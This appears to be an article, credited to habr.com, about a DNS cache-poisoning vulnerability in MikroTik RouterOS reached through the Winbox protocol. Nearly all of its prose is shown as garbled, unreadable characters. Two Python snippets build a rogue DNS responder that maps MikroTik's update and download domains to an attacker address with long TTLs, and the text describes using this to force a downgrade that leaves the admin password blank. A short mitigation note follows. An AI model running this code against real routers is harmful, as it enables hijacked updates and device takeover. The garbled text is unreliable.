ืืืืืืช ืืฉืืจื ืืจืืืง ืืืฉืืจืื ืืืืืกืกืื ืขื RouterOS (Mikrotik) ืืกืื ืช ืืืืช ืืืคื ืืชืงื ื ืจืฉืช. ืืคืืืขืืช ืงืฉืืจื ืืืจืขืืช ืืืืื ื-DNS ืฉื ืคืจืืืืงืื Winbox ืืืืคืฉืจืช ืืืขืื ืงืืฉืื ืืืืฉื ืช (ืขื ืืืคืืก ืืจืืจืช ืืืื ืืกืืกืื) ืื ืงืืฉืื ืฉืขืืจื ืฉืื ืื ืขื ืืืืฉืืจ.
ืคืจืื ืคืืืขืืช
ืืกืืฃ ื-RouterOS ืชืืื ืืคืงืืื resolve ืืืืคืืฉ DNS.
ืืงืฉื ืื ืืืืคืืช ืขื ืืื ืืื ืืจื ืืฉื ืคืืชืจ. Resolver ืืื ืืื ืื ืืืจืืื ืจืืื ืฉืืชืืืจืื ืืคืจืืืืงืื Winbox ืฉื RouterOS. ืืจืื ืืืืื, ื ืืชื ืื ืชื "ืืืืขืืช" ืื ืฉืืืืช ืืืฆืืืช Winbox ืืืื ืืจืืื ืฉืื ืื ื-RouterOS ืืืชืืกืก ืขื ืกืืืช ืืกืคืืจ ืืืืกืกืช ืืขืจื.
ืืืจืืจืช ืืืื, ืชืืื ืช ืฉืจืช ื-DNS ืืืฉืืชืช ื-RouterOS.
ืขื ืืืช, ืื ืืืฉืจ ืคืื ืงืฆืืืช ืืฉืจืช ืืืฉืืชืช, ืื ืชื ืฉืืืจ ืขื ืืืืื DNS ืืฉืื.
ืืืฉืจ ืื ื ืฉืืืืื ืืงืฉื ืืืืฆืขืืช winbox_dns_request ืืืฉื example.com, ืื ืชื ืืฉืืืจ ืืช ืืชืืฆืื ืืืืืื.
ืืืืืื ืฉืื ื ืืืืืื ืืฆืืื ืืช ืฉืจืช ื-DNS ืฉืืจืื ืืืงืฉื ืฆืจืืื ืืขืืืจ, ืืื ืช ืืชืืืืช ืฉืืืืืช ืืื ืืจืืืืืืืืช. ืืืืืื, ืืชื ืืืื ืืืืืืจ ืืืฉืื ืฉืจืช DNS ื
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
ืขืืฉืื ืื ืืชื ืืืคืฉ ืืืฉื.com ืืืืฆืขืืช Winbox, ืืชื ืืืื ืืจืืืช ืฉืืืืื ื-DNS ืฉื ืื ืชื ืืืจืขื.
ืืืืื, poisoning example.com ืืื ื ืฉืืืืฉื ืืืืืื ืืืืืื ืฉืื ืชื ืื ืืฉืชืืฉ ืื ืืคืืขื. ืขื ืืืช, ืื ืชื ืฆืจืื ืืืฉืช ื- upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ื-download.mikrotik.com. ืืืืืืช ืืขืืช ื ืืกืคืช ืืคืฉืจ ืืืจืขืื ืืช ืืืื ืืืช ืืืช.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
ืื ืชื ืืืงืฉ ืืจืฉืื ืืืช, ืืื ืื ื ืืืืืจืื ืืืืฉื. ืื ืชื ืื ืฉืืืจ ืืช ืื ืืชืืืืืช ืืืื ืืฆืืจื ื ืืื ื.
ืืจืืจ ืฉืืชืงืคื ืื ืฉืืืืฉืืช ืื ืื ืื ืชื ืคืืขื ืืฉืจืช DNS, ืืืืืื ืฉืืื ืืืคืฉืจืช ืืชืงืืฃ ืืงืืืืช ืฉื ืื ืชื.
ืืชืงืคื ืื ืื ืืืคืฉืจืช ืื ืื ืฆื ืคืืืขืืช ืืืืจื ืืืชืจ: ืฉืืจืื ืืืืืจ ืื ืืขืืจื ืืืืืจ ืฉื ืืืจืกื ืฉื RouterOS. ืืชืืงืฃ ืืืฆืจ ืืืืฉ ืืช ืืืืืืื ืฉื ืฉืจืช ืืขืืืื ืื, ืืืื ืืืื ืืฉืื ืืืื, ืืืืืฅ ืืช RouterOS ืืชืคืืก ืืช ืืืจืกื ืืืืืฉื ืช (ืืคืืืขื) ืืขืืื ืืช. ืืกืื ื ืืื ืืืื ื ืืขืืืื ืฉืืืฉืจ ืืืจืกื "ืืชืขืืื ืช", ืกืืกืืช ืืื ืื ืืืืคืกืช ืืขืจื ืืจืืจืช ืืืืื - ืชืืงืฃ ืืืื ืืืืื ืก ืืืขืจืืช ืขื ืกืืกืื ืจืืงื!
ืืืชืงืคื ืื ืขืืืืช, ืืืจืืช ืืืช
ืืื ื
ืคืฉืื ืืฉืืชืช Winbox ืืืคืฉืจืช ืื ืืืื ืขื ืขืฆืื ืืคื ื ืืชืงืคืืช ืืื. ืืืจืืช ื ืืืืช ืื ืืืื ืืืืฆืขืืช Winbox, ืขืืืฃ ืืืฉืชืืฉ ืืคืจืืืืงืื SSH.
ืืงืืจ: www.habr.com